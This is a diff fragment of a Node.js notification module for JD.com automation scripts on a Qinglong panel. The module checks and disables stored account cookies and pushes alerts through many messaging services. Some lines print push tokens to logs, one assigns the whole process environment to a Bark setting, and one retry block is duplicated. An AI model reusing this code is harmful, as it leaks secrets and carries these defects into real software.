Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_pushPlushxtripNotify = true; + var Use_WxPusher = true; + var strtext = text; + var strdesp = desp; + var titleIndex =-1; + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + } + if (process.env.NOTIFY_AUTOCHECKCK == "true") { + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1) { + console.log(`捕获CK过期通知,开始尝试处理...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + var llHaderror = false; + + if (strPtPin) { + var temptest = await getEnvByPtPin(strdecPtPin); + if (temptest) { + if (temptest.status == 0) { + isLogin = true; + await isLoginByX1a0He(temptest.value); + if (!isLogin) { + var tempid = 0; + if (temptest._id) { + tempid = temptest._id; + } + if (temptest.id) { + tempid =temptest.id; + } + const DisableCkBody = await DisableCk(tempid); + strPtPin = temptest.value; + strPtPin = (strPtPin.match(/pt_pin=([^; ]+)(?=;?)/) && strPtPin.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strAllNotify = ""; + var MessageUserGp2 = ""; + var MessageUserGp3 = ""; + var MessageUserGp4 = ""; + + var userIndex2 = -1; + var userIndex3 = -1; + var userIndex4 = -1; + + var strNotifyOneTemp = ""; + if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + } + + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === strPtPin); + + } + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === strPtPin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === strPtPin); + } + + if (userIndex2 != -1) { + console.log(`该账号属于分组2`); + text = "京东CK检测#2"; + } + if (userIndex3 != -1) { + console.log(`该账号属于分组3`); + text = "京东CK检测#3"; + } + if (userIndex4 != -1) { + console.log(`该账号属于分组4`); + text = "京东CK检测#4"; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + text = "京东CK检测"; + } + if (process.env.CHECKCK_ALLNOTIFY) { + strAllNotify = process.env.CHECKCK_ALLNOTIFY; + /* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + }*/ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); + } + + if (DisableCkBody.code == 200) { + console.log(`京东账号` + strdecPtPin + `已失效,自动禁用成功!\n`); + + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + + } else { + console.log(`京东账号` + strPtPin + `已失效,自动禁用失败!\n`); + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + } + } else { + console.log(`该CK已经检测没有有效,跳过通知...`); + llHaderror = true; + } + } else { + console.log(`该CK已经禁用不需要处理`); + llHaderror = true; + } + + } + + } else { + console.log(`CK过期通知处理失败...`); + } + if (llHaderror) + return; + } + } + + if (strtext.indexOf("cookie已失效") != -1 || strdesp.indexOf("重新登录获取") != -1 || strtext == "Ninja 运行通知") { + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + console.log(`检测到NOTIFY_NOCKFALSE变量为true,不发送ck失效通知...`); + return; + } + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + if (strTitle == "汪汪乐园养joy领取" && WP_APP_TOKEN_ONE) { + console.log(`捕获汪汪乐园养joy领取通知,开始尝试一对一推送...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + if (strPtPin) { + await sendNotifybyWxPucher("汪汪乐园领取通知", `【京东账号】${strdecPtPin}\n当前等级: 30\n请自行去解锁新场景,奖励领取方式如下:\n极速版APP->我的->汪汪乐园,点击左上角头像,点击中间靠左的现金奖励图标,弹出历史奖励中点击领取.`, strdecPtPin); + } + } + + console.log("通知标题: " + strTitle); + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + titleIndex = notifySkipList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${strTitle} 在推送黑名单中,已跳过推送`); + return; + } + + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + for (lncount = 2; lncount < 20; lncount++) { + if (process.env["NOTIFY_GROUP" + lncount + "_LIST"]) { + const strtemp = process.env["NOTIFY_GROUP" + lncount + "_LIST"]; + const notifyGroupList = strtemp ? strtemp.split('&') : []; + const titleIndex = notifyGroupList.findIndex((item) => item === strTitle); + if (titleIndex !== -1) { + console.log(`${strTitle} 在群组${lncount}推送名单中,初始化群组推送`); + UseGroupNotify = lncount; + } + } + } + + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if(strCustomTempArr[1].indexOf("组")!=-1){ + UseGroupNotify = strCustomTempArr[1].replace("组","") * 1; + console.log("自定义设定强制使用组"+UseGroupNotify+"配置通知..."); + } else { + UseGroupNotify = 1; + } + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_pushPlushxtripNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "pushplushxtrip": + Use_pushPlushxtripNotify = true; + console.log("自定义设定启用pushplus_hxtrip(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + } + if (desp) { + for (lncount = 2; lncount < 20; lncount++) { + if (process.env["NOTIFY_INCLUDE_TEXT" + lncount]) { + Notify_IncludeText = process.env["NOTIFY_INCLUDE_TEXT" + lncount].split('&'); + if (Notify_IncludeText.length > 0) { + for (var Templ in Notify_IncludeText) { + if (desp.indexOf(Notify_IncludeText[Templ]) != -1) { + console.log("检测内容到内容存在组别推送的关键字(" + Notify_IncludeText[Templ] + "),将推送到组" + lncount + "..."); + UseGroupNotify = lncount; + break; + } + } + } + } + } + } + if (UseGroupNotify == 1) + UseGroupNotify = ""; + + if (process.env["GOBOT_URL" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_URL = process.env["GOBOT_URL" + UseGroupNotify]; + } + if (process.env["GOBOT_TOKEN" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_TOKEN = process.env["GOBOT_TOKEN" + UseGroupNotify]; + } + if (process.env["GOBOT_QQ" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_QQ = process.env["GOBOT_QQ" + UseGroupNotify]; + } + + if (process.env["PUSH_KEY" + UseGroupNotify] && Use_serverNotify) { + SCKEY = process.env["PUSH_KEY" + UseGroupNotify]; + } + + if (process.env["WP_APP_TOKEN" + UseGroupNotify] && Use_WxPusher) { + WP_APP_TOKEN = process.env["WP_APP_TOKEN" + UseGroupNotify]; + } + + if (process.env["WP_TOPICIDS" + UseGroupNotify] && Use_WxPusher) { + WP_TOPICIDS = process.env["WP_TOPICIDS" + UseGroupNotify]; + } + + if (process.env["WP_UIDS" + UseGroupNotify] && Use_WxPusher) { + WP_UIDS = process.env["WP_UIDS" + UseGroupNotify]; + } + + if (process.env["WP_URL" + UseGroupNotify] && Use_WxPusher) { + WP_URL = process.env["WP_URL" + UseGroupNotify]; + } + if (process.env["BARK_PUSH" + UseGroupNotify] && Use_BarkNotify) { + if (process.env["BARK_PUSH" + UseGroupNotify].indexOf('https') > -1 || process.env["BARK_PUSH" + UseGroupNotify].indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env["BARK_PUSH" + UseGroupNotify]; + } else { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${process.env["BARK_PUSH" + UseGroupNotify]}`; + } + if (process.env["BARK_SOUND" + UseGroupNotify]) { + BARK_SOUND = process.env["BARK_SOUND" + UseGroupNotify]; + } + if (process.env["BARK_GROUP" + UseGroupNotify]) { + BARK_GROUP = process.env; + } + } + if (process.env["TG_BOT_TOKEN" + UseGroupNotify] && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env["TG_BOT_TOKEN" + UseGroupNotify]; + } + if (process.env["TG_USER_ID" + UseGroupNotify] && Use_tgBotNotify) { + TG_USER_ID = process.env["TG_USER_ID" + UseGroupNotify]; + } + if (process.env["TG_PROXY_AUTH" + UseGroupNotify] && Use_tgBotNotify) + TG_PROXY_AUTH = process.env["TG_PROXY_AUTH" + UseGroupNotify]; + if (process.env["TG_PROXY_HOST" + UseGroupNotify] && Use_tgBotNotify) + TG_PROXY_HOST = process.env["TG_PROXY_HOST" + UseGroupNotify]; + if (process.env["TG_PROXY_PORT" + UseGroupNotify] && Use_tgBotNotify) + TG_PROXY_PORT = process.env["TG_PROXY_PORT" + UseGroupNotify]; + if (process.env["TG_API_HOST" + UseGroupNotify] && Use_tgBotNotify) + TG_API_HOST = process.env["TG_API_HOST" + UseGroupNotify]; + + if (process.env["DD_BOT_TOKEN" + UseGroupNotify] && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env["DD_BOT_TOKEN" + UseGroupNotify]; + if (process.env["DD_BOT_SECRET" + UseGroupNotify]) { + DD_BOT_SECRET = process.env["DD_BOT_SECRET" + UseGroupNotify]; + } + } + + if (process.env["QYWX_KEY" + UseGroupNotify] && Use_qywxBotNotify) { + QYWX_KEY = process.env["QYWX_KEY" + UseGroupNotify]; + } + + if (process.env["QYWX_AM" + UseGroupNotify] && Use_qywxamNotify) { + QYWX_AM = process.env["QYWX_AM" + UseGroupNotify]; + } + + if (process.env["IGOT_PUSH_KEY" + UseGroupNotify] && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env["IGOT_PUSH_KEY" + UseGroupNotify]; + } + + if (process.env["PUSH_PLUS_TOKEN" + UseGroupNotify] && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env["PUSH_PLUS_TOKEN" + UseGroupNotify]; + } + if (process.env["PUSH_PLUS_USER" + UseGroupNotify] && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env["PUSH_PLUS_USER" + UseGroupNotify]; + } + + if (process.env["PUSH_PLUS_TOKEN_hxtrip" + UseGroupNotify] && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env["PUSH_PLUS_TOKEN_hxtrip" + UseGroupNotify]; + } + if (process.env["PUSH_PLUS_USER_hxtrip" + UseGroupNotify] && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env["PUSH_PLUS_USER_hxtrip" + UseGroupNotify]; + } + if (process.env["GOTIFY_URL" + UseGroupNotify]) { + GOTIFY_URL = process.env["GOTIFY_URL" + UseGroupNotify]; + } + if (process.env["GOTIFY_TOKEN" + UseGroupNotify]) { + GOTIFY_TOKEN = process.env["GOTIFY_TOKEN" + UseGroupNotify]; + } + if (process.env["GOTIFY_PRIORITY" + UseGroupNotify]) { + GOTIFY_PRIORITY = process.env["GOTIFY_PRIORITY" + UseGroupNotify]; + } + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (text == "京东到家果园互助码:") { + ShowRemarkType = "1"; + if (desp) { + var arrTemp = desp.split(","); + var allCode = ""; + for (let k = 0; k < arrTemp.length; k++) { + if (arrTemp[k]) { + if (arrTemp[k].substring(0, 1) != "@") + allCode += arrTemp[k] + ","; + } + } + + if (allCode) { + desp += '\n' + '\n' + "ccwav格式化后的互助码:" + '\n' + allCode; + } + } + } + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("sendNotify正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.Remark = getRemark(envs[i].remarks); + $.nickName = ""; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + var Tempinfo = ""; + if(envs[i].created) + Tempinfo=getQLinfo(cookie, envs[i].created, envs[i].timestamp, envs[i].remarks); + else + if(envs[i].updatedAt) + Tempinfo=getQLinfo(cookie, envs[i].createdAt, envs[i].updatedAt, envs[i].remarks); + else + Tempinfo=getQLinfo(cookie, envs[i].createdAt, envs[i].timestamp, envs[i].remarks); + if (Tempinfo) { + $.Remark += Tempinfo; + } + } + + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + desp = buildLastDesp(desp, author) + + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN_hxtrip) { + console.log("hxtrip TOKEN :" + PUSH_PLUS_TOKEN_hxtrip); + } + if (PUSH_PLUS_USER_hxtrip) { + console.log("hxtrip USER :" + PUSH_PLUS_USER_hxtrip); + } + PushErrorTime = 0; + await pushPlusNotifyhxtrip(text, desp); //pushplushxtrip(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotifyhxtrip(text, desp); + } + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp, strsummary), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + wxpusherNotify(text, desp) // wxpusher + ]); +} + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + console.log(PtPin + ": 检测到NVJDC的一对一格式,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + if (!strTempuuid) { + console.log("检索资料失败..."); + } + } + } + if (!strTempuuid && TempCKUid) { + console.log("正在从CK_WxPusherUid文件中检索资料..."); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strTempuuid = TempCKUid[j].Uid; + break; + } + } + } + return strTempuuid; +} + +function getQLinfo(strCK, intcreated, strTimestamp, strRemark) { + var strCheckCK = strCK.match(/pt_key=([^; ]+)(?=;?)/) && strCK.match(/pt_key=([^; ]+)(?=;?)/)[1]; + var strPtPin = decodeURIComponent(strCK.match(/pt_pin=([^; ]+)(?=;?)/) && strCK.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strReturn = ""; + if (strCheckCK.substring(0, 3) == "AAJ") { + var DateCreated = new Date(intcreated); + var DateTimestamp = new Date(strTimestamp); + var DateToday = new Date(); + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + //console.log(strPtPin + ": 检测到NVJDC的备注格式,尝试获取登录时间,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length == 13) { + DateTimestamp = new Date(parseInt(TempRemarkList[j])); + //console.log(strPtPin + ": 获取登录时间成功:" + GetDateTime(DateTimestamp)); + break; + } + } + } + } + } + + //过期时间 + var UseDay = Math.ceil((DateToday.getTime() - DateCreated.getTime()) / 86400000); + var LogoutDay = 30 - Math.ceil((DateToday.getTime() - DateTimestamp.getTime()) / 86400000); + if (LogoutDay < 1) { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(账号即将到期,请重登续期)" + } else { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(有效期约剩" + LogoutDay + "天)" + } + + } + return strReturn +} + +function getRemark(strRemark) { + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + return TempRemarkList[0].trim(); + } else { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + return strRemark.trim(); + } + } else { + return ""; + } +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + + try { + var Uid = ""; + var UserRemark = ""; + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + if (WP_APP_TOKEN_ONE) { + var tempEnv = await getEnvByPtPin(PtPin); + if (tempEnv) { + cookie = tempEnv.value; + Uid = getuuid(tempEnv.remarks, PtPin); + UserRemark = getRemark(tempEnv.remarks); + + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + + if (text == "京东资产变动") { + try { + $.nickName = ""; + $.FoundPin = ""; + $.UserName = PtPin; + if (tempEnv.status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + } + } + + $.nickName = $.nickName || $.UserName; + + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + var Tempinfo = ""; + if(tempEnv.created) + Tempinfo=getQLinfo(cookie, tempEnv.created, tempEnv.timestamp, tempEnv.remarks); + else + if(tempEnv.updatedAt) + Tempinfo=getQLinfo(cookie, tempEnv.createdAt, tempEnv.updatedAt, tempEnv.remarks); + else + Tempinfo=getQLinfo(cookie, tempEnv.createdAt, tempEnv.timestamp, tempEnv.remarks); + + if (Tempinfo) { + Tempinfo = $.nickName + Tempinfo; + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), Tempinfo); + } + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + } + if (UserRemark) { + text = text + " (" + UserRemark + ")"; + } + console.log("处理完成,开始发送通知..."); + desp = buildLastDesp(desp, author); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + await wxpusherNotifyByOne(text, desp, strsummary); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +async function GetPtPin(text) { + try { + const TempList = text.split('- '); + if (TempList.length > 1) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`反查PtPin成功:` + strPtPin); + return strPtPin; + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + return ""; + } + } + } else { + console.log(`标题格式无法捕获别名...`); + return ""; + } + } catch (error) { + console.error(error); + return ""; + } + +} + +async function isLoginByX1a0He(cookie) { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: 